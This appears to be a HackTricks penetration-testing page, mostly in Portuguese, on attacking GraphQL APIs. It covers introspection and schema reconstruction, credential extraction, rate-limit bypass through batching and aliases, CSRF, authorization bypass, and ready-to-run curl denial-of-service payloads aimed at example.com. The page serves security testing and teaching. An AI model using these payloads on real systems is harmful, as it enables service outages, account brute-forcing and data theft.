GraphQL

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Introduction

GraphQL é destacado como uma alternativa eficiente ao REST API, oferecendo uma abordagem simplificada para consultar dados do back-end. Em contraste com o REST, que frequentemente exige numerosas requisições em vários endpoints para coletar dados, o GraphQL permite recuperar todas as informações necessárias por meio de uma única requisição. Essa simplificação beneficia significativamente os desenvolvedores ao reduzir a complexidade dos seus processos de obtenção de dados.

GraphQL and Security

Com o surgimento de novas tecnologias, incluindo o GraphQL, também aparecem novas vulnerabilidades de segurança. Um ponto importante a notar é que o GraphQL não inclui mecanismos de autenticação por padrão. É responsabilidade dos desenvolvedores implementar tais medidas de segurança. Sem autenticação adequada, endpoints GraphQL podem expor informações sensíveis para usuários não autenticados, representando um risco de segurança significativo.

Directory Brute Force Attacks and GraphQL

Para identificar instâncias GraphQL expostas, recomenda-se incluir caminhos específicos em ataques de brute force de diretório. Esses caminhos são:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Identificar instâncias GraphQL abertas permite examinar as queries suportadas. Isso é crucial para entender os dados acessíveis através do endpoint. O sistema de introspecção do GraphQL facilita isso ao detalhar as queries que um schema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: GraphQL: A query language for APIs.

Fingerprint

A ferramenta graphw00f é capaz de detectar qual engine GraphQL está sendo usada em um servidor e então imprime algumas informações úteis para o auditor de segurança.

Universal queries

Para verificar se uma URL é um serviço GraphQL, pode-se enviar uma universal query, query{__typename}. Se a resposta incluir {"data": {"__typename": "Query"}}, isso confirma que a URL hospeda um endpoint GraphQL. Esse método depende do campo __typename do GraphQL, que revela o tipo do objeto consultado.

query{__typename}

Enumeração Básica

Graphql geralmente suporta GET, POST (x-www-form-urlencoded) e POST(json). Embora, por segurança, seja recomendado permitir apenas json para prevenir CSRF attacks.

Introspecção

Para usar a introspecção para descobrir informações do schema, faça uma query no campo __schema. Este campo está disponível no tipo raiz (root type) de todas as queries.

query={__schema{types{name,fields{name}}}}

Com esta query você encontrará o nome de todos os types que estão sendo usados:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Com esta query você pode extrair todos os types, seus fields e seus arguments (e o type dos args). Isso será muito útil para saber como consultar o database.

Erros

É interessante saber se os erros serão exibidos, pois contribuirão com informações úteis.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerar o Esquema do Banco de Dados via Introspection

Tip

Se a introspection estiver habilitada, mas a query acima não for executada, tente remover as diretivas onOperation, onFragment, e onField da estrutura da query.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Consulta de introspecção inline:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

A última linha de código é uma query graphql que irá extrair todas as meta-informações do graphql (nomes de objetos, parâmetros, tipos…)

Se a introspecção estiver habilitada você pode usar GraphQL Voyager para ver em uma interface gráfica todas as opções.

Consultas

Agora que sabemos que tipo de informação é armazenada no banco de dados, vamos tentar extrair alguns valores.

Na introspecção você pode encontrar qual objeto você pode consultar diretamente (porque você não pode consultar um objeto só porque ele existe). Na imagem a seguir você pode ver que o “queryType” se chama “Query” e que um dos campos do objeto “Query” é “flags”, que também é um tipo de objeto. Portanto você pode consultar o objeto “flags”.

Note que o tipo da query “flags” é “Flags”, e esse objeto é definido como abaixo:

Você pode ver que os objetos “Flags” são compostos por name e value. Então você pode obter todos os nomes e valores das flags com a query:

query={flags{name, value}}

Observe que, no caso em que o object to query é um primitive type como string, como no exemplo abaixo

Você pode simplesmente consultá-lo com:

query = { hiddenFlags }

Em outro exemplo onde havia 2 objetos dentro do tipo de objeto “Query”: “user” e “users”.
Se esses objetos não precisarem de nenhum argumento para pesquisar, poderia recuperar todas as informações deles apenas pedindo os dados que você quer. Neste exemplo da Internet você poderia extrair os usernames e passwords salvos:

No entanto, neste exemplo se você tentar fazer isso você recebe este erro:

Parece que de alguma forma ele vai pesquisar usando o argumento “uid” do tipo Int.
De qualquer forma, já sabíamos disso; na seção Basic Enumeration uma query foi proposta que nos mostrou todas as informações necessárias: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Se você ler a imagem fornecida quando executei essa query verá que “user” tinha o arguid” do tipo Int.

Então, realizando um leve bruteforce de uid encontrei que em uid=1 um username e uma password foram recuperados:
query={user(uid:1){user,password}}

Observe que eu descobri que poderia pedir os parâmetrosuser” e “password” porque se eu tentar buscar algo que não existe (query={user(uid:1){noExists}}) eu recebo este erro:

E durante a enumeration phase descobri que o objeto “dbuser” tinha como fields “user” e “password.

Query string dump trick (thanks to @BinaryShadow_)

If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (Note this example isn’t related with the example of the tutorials, for this example suppose you can search using “theusers” by a String field called “description).

Pesquisando

Nesta configuração, uma database contém persons e movies. Persons são identificadas pelo seu email e name; movies pelo seu name e rating. Persons podem ser friends entre si e também ter movies, indicando relacionamentos dentro da database.

Você pode pesquisar persons por o name e obter seus emails:

{
searchPerson(name: "John Doe") {
email
}
}

Você pode buscar pessoas pelo nome e obter seus filmes assinados:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Observe como é indicado recuperar o name dos subscribedMovies da pessoa.

Você também pode pesquisar vários objetos ao mesmo tempo. Neste caso, é feita a busca de 2 filmes:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ou até relações de vários objetos diferentes usando aliases:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutações

Mutações são usadas para fazer alterações no lado do servidor.

Na introspection você pode encontrar as mutações declaradas. Na imagem a seguir o “MutationType” é chamado “Mutation” e o objeto “Mutation” contém os nomes das mutações (como “addPerson” neste caso):

Nesta configuração, um banco de dados contém pessoas e filmes. Pessoas são identificadas pelo email e name; filmes pelo name e rating. Pessoas podem ser amigas entre si e também ter filmes, indicando relacionamentos dentro do banco de dados.

Uma mutação para criar novos filmes dentro do banco de dados pode ser a seguinte (neste exemplo a mutação é chamada addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Observe como tanto os valores quanto o tipo de dados são indicados na query.

Além disso, o banco de dados suporta uma operação mutation, chamada addPerson, que permite a criação de persons juntamente com suas associações a friends e movies existentes. É crucial notar que os friends e movies devem pré-existir no banco de dados antes de vinculá-los à person recém-criada.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

Como explicado em one of the vulns described in this report, um directive overloading implica chamar um directive milhões de vezes para fazer o servidor desperdiçar operações até que seja possível causar um DoS.

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
Authentication through GraphQL API with simultaneously sending many queries with different credentials to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords.

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:

As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.

GraphQL Sem Introspecção

More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.

Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

To bypass restrictions on introspection queries in APIs, inserting a special character after the __schema keyword proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the __schema keyword. By adding characters like spaces, new lines, and commas, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after __schema may bypass such defenses:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Se não tiver sucesso, considere métodos de requisição alternativos, como GET requests ou POST with x-www-form-urlencoded, já que restrições podem se aplicar apenas a requisições POST.

Tente WebSockets

Como mencionado em this talk, verifique se é possível conectar-se ao graphQL via WebSockets, pois isso pode permitir contornar um possível WAF e fazer com que a comunicação websocket leak o esquema do graphQL:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Descobrindo Estruturas GraphQL Expostas

Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a aba Sources nas ferramentas de desenvolvedor, fornecendo insights sobre o schema da API e revelando potencialmente consultas sensíveis expostas. Os comandos para buscar nas ferramentas de desenvolvedor são:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)

Quando a introspecção está bloqueada, InQL v6.1+ pode agora reconstruir o esquema alcançável puramente a partir do feedback de erros. The new schema bruteforcer agrupa nomes candidatos de field/argument a partir de uma wordlist configurável e os envia em operações multi-field para reduzir o chatter HTTP. Padrões de erro úteis são então coletados automaticamente:

  • Field 'bugs' not found on type 'inql' confirma a existência do tipo pai enquanto descarta nomes de campos inválidos.
  • Argument 'contribution' is required indica que um argumento é obrigatório e revela sua grafia.
  • Indicações de sugestão como Did you mean 'openPR'? são reinseridas na fila como candidatos validados.
  • Ao enviar intencionalmente valores com o primitivo errado (por ex., inteiros onde se esperam strings) o bruteforcer provoca erros de incompatibilidade de tipo que leak a assinatura real do tipo, incluindo wrappers de lista/objeto como [Episode!].

O bruteforcer continua recursando sobre qualquer tipo que produza novos campos, então uma wordlist que misture nomes genéricos de GraphQL com palpites específicos da aplicação acabará mapeando grandes partes do esquema sem introspection. O tempo de execução é limitado principalmente por rate limiting e volume de candidatos, portanto ajustar finamente as configurações do InQL (wordlist, batch size, throttling, retries) é crítico para envolvimentos mais stealthy.

No mesmo release, o InQL traz um GraphQL engine fingerprinter (emprestando assinaturas de ferramentas como graphw00f). O módulo envia diretivas/queries deliberadamente inválidas e classifica o backend ao casar o texto exato do erro. Por exemplo:

query @deprecated {
__typename
}
  • Apollo responde com Directive "@deprecated" may not be used on QUERY.
  • GraphQL Ruby responde '@deprecated' can't be applied to queries.

Uma vez que um motor é reconhecido, o InQL exibe a entrada correspondente da GraphQL Threat Matrix, ajudando testadores a priorizar fraquezas presentes nessa família de servidores (comportamento padrão de introspecção, limites de profundidade, lacunas de CSRF, envio de arquivos, etc.).

Por fim, geração automática de variáveis remove um bloqueador clássico ao pivotar para o Burp Repeater/Intruder. Sempre que uma operação requerer um JSON de variáveis, o InQL agora injeta valores padrão sensatos para que a requisição passe na validação do schema no primeiro envio:

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Objetos de input aninhados herdam o mesmo mapping, então você obtém imediatamente um payload sintaticamente e semanticamente válido que pode ser fuzzed para SQLi/NoSQLi/SSRF/logic bypasses sem precisar fazer reverse-engineering manual de cada argumento.

CSRF em GraphQL

Se você não sabe o que é CSRF, leia a página a seguir:

CSRF (Cross Site Request Forgery)

Lá você vai encontrar vários endpoints GraphQL configurados sem CSRF tokens.

Observe que requisições GraphQL normalmente são enviadas via POST usando o Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

No entanto, a maioria dos endpoints GraphQL também suporta form-urlencoded POST requests:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Portanto, como requisições CSRF como as anteriores são enviadas without preflight requests, é possível perform changes no GraphQL abusando do CSRF.

No entanto, note que o novo valor padrão do cookie para a flag samesite do Chrome é Lax. Isso significa que o cookie será enviado por um site de terceiros apenas em requisições GET.

Observe que geralmente é possível enviar a query request também como uma GET request e que o token CSRF pode não ser validado em uma requisição GET.

Além disso, abusar de um XS-Search attack pode possibilitar exfiltrar conteúdo do endpoint GraphQL utilizando as credenciais do usuário.

Para mais informações, veja o original post here.

Cross-site WebSocket hijacking in GraphQL

Semelhante às vulnerabilidades CRSF que abusam do GraphQL, também é possível realizar um Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies e fazer com que um usuário execute ações inesperadas no GraphQL.

For more information check:

WebSocket Attacks

Autorização no GraphQL

Muitas funções GraphQL definidas no endpoint podem verificar apenas a autenticação do solicitante, mas não a autorização.

Modificar variáveis de entrada da query pode levar ao leaked de detalhes sensíveis da conta.

Uma Mutation pode até resultar em account takeover ao tentar modificar dados de outras contas.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Contornar autorização no GraphQL

Chaining queries together can bypass a weak authentication system.

No exemplo abaixo você pode ver que a operação é “forgotPassword” e que ela deveria executar apenas a query forgotPassword associada a ela. Isso pode ser contornado adicionando uma query ao final — neste caso adicionamos “register” e uma variável user para o sistema registrar como um novo usuário.

Contornando Rate Limits usando aliases no GraphQL

In GraphQL, aliases are a powerful feature that allow for the naming of properties explicitly when making an API request. This capability is particularly useful for retrieving multiple instances of the same type of object within a single request. Aliases can be employed to overcome the limitation that prevents GraphQL objects from having multiple properties with the same name.

Para uma compreensão detalhada de GraphQL aliases, o recurso a seguir é recomendado: Aliases.

Embora o propósito principal de aliases seja reduzir a necessidade de várias chamadas API, foi identificado um caso de uso não intencional onde aliases podem ser aproveitados para executar ataques brute force em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por rate limiters projetados para impedir ataques brute force restringindo o número de requisições HTTP. Contudo, esses rate limiters podem não levar em conta o número de operações dentro de cada requisição. Como aliases permitem a inclusão de múltiplas queries em uma única requisição HTTP, eles podem contornar tais medidas de rate limiting.

Considere o exemplo fornecido abaixo, que ilustra como queries com aliases podem ser usadas para verificar a validade de códigos de desconto da loja. Esse método pode contornar o rate limiting já que compila várias queries em uma única requisição HTTP, potencialmente permitindo a verificação de numerosos códigos de desconto simultaneamente.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading é uma vulnerabilidade do GraphQL em que atacantes sobrecarregam uma query com muitos aliases para o mesmo campo, fazendo com que o resolver do backend execute esse campo repetidamente. Isso pode sobrecarregar os recursos do servidor, levando a um Denial of Service (DoS). Por exemplo, na query abaixo, o mesmo campo (expensiveField) é solicitado 1,000 vezes usando aliases, forçando o backend a computá‑lo 1,000 vezes, potencialmente esgotando CPU ou memória:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Para mitigar isso, implemente alias count limits, query complexity analysis, or rate limiting para evitar abuso de recursos.

Array-based Query Batching

Array-based Query Batching é uma vulnerabilidade onde uma API GraphQL permite batching de múltiplas queries em uma única requisição, permitindo que um atacante envie um grande número de queries simultaneamente. Isso pode sobrecarregar o backend ao executar todas as queries agrupadas em paralelo, consumindo recursos excessivos (CPU, memória, conexões de banco de dados) e potencialmente levando a um Denial of Service (DoS). Se não existir um limite no número de queries em um batch, um atacante pode explorar isso para degradar a disponibilidade do serviço.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

Neste exemplo, 10 consultas diferentes são agrupadas em uma única requisição, forçando o servidor a executar todas simultaneamente. Se explorado com um tamanho de lote maior ou consultas computacionalmente caras, isso pode sobrecarregar o servidor.

Vulnerabilidade de Directive Overloading

Directive Overloading ocorre quando um servidor GraphQL permite consultas com diretivas excessivas e duplicadas. Isso pode sobrecarregar o analisador e o executor do servidor, especialmente se o servidor processar repetidamente a mesma lógica de diretiva. Sem validação adequada ou limites, um atacante pode explorar isso elaborando uma consulta com numerosas diretivas duplicadas para provocar alto uso computacional ou de memória, levando a Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Observe que no exemplo anterior @aa é uma diretiva customizada que pode não estar declarada. Uma diretiva comum que geralmente existe é @include:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Você também pode enviar uma consulta de introspecção para descobrir todas as diretivas declaradas:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

E então use alguns dos personalizados ones.

Field Duplication Vulnerability

Field Duplication é uma vulnerabilidade em que um servidor GraphQL permite consultas com o mesmo campo repetido excessivamente. Isso força o servidor a resolver o campo de forma redundante para cada instância, consumindo recursos significativos (CPU, memória e chamadas ao banco de dados). Um atacante pode elaborar consultas com centenas ou milhares de campos repetidos, causando alta carga e potencialmente levando a um Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Vulnerabilidades Recentes (2023-2025)

O ecossistema GraphQL evolui muito rapidamente; nos últimos dois anos várias vulnerabilidades críticas foram divulgadas nas bibliotecas de servidor mais usadas. Quando encontrar um endpoint GraphQL vale a pena fingerprinting do engine (veja graphw00f) e verificar a versão em execução em relação às vulnerabilidades abaixo.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • Affected: async-graphql < 7.0.10 (Rust)
  • Root cause: no limit on diretivas duplicadas (e.g. milhares de @include) que são expandidas em um número exponencial de nós de execução.
  • Impact: uma única requisição HTTP pode esgotar CPU/RAM e travar o serviço.
  • Fix/mitigation: upgrade ≥ 7.0.10 or call SchemaBuilder.limit_directives(); alternatively filter requests with a WAF rule such as "@include.*@include.*@include".
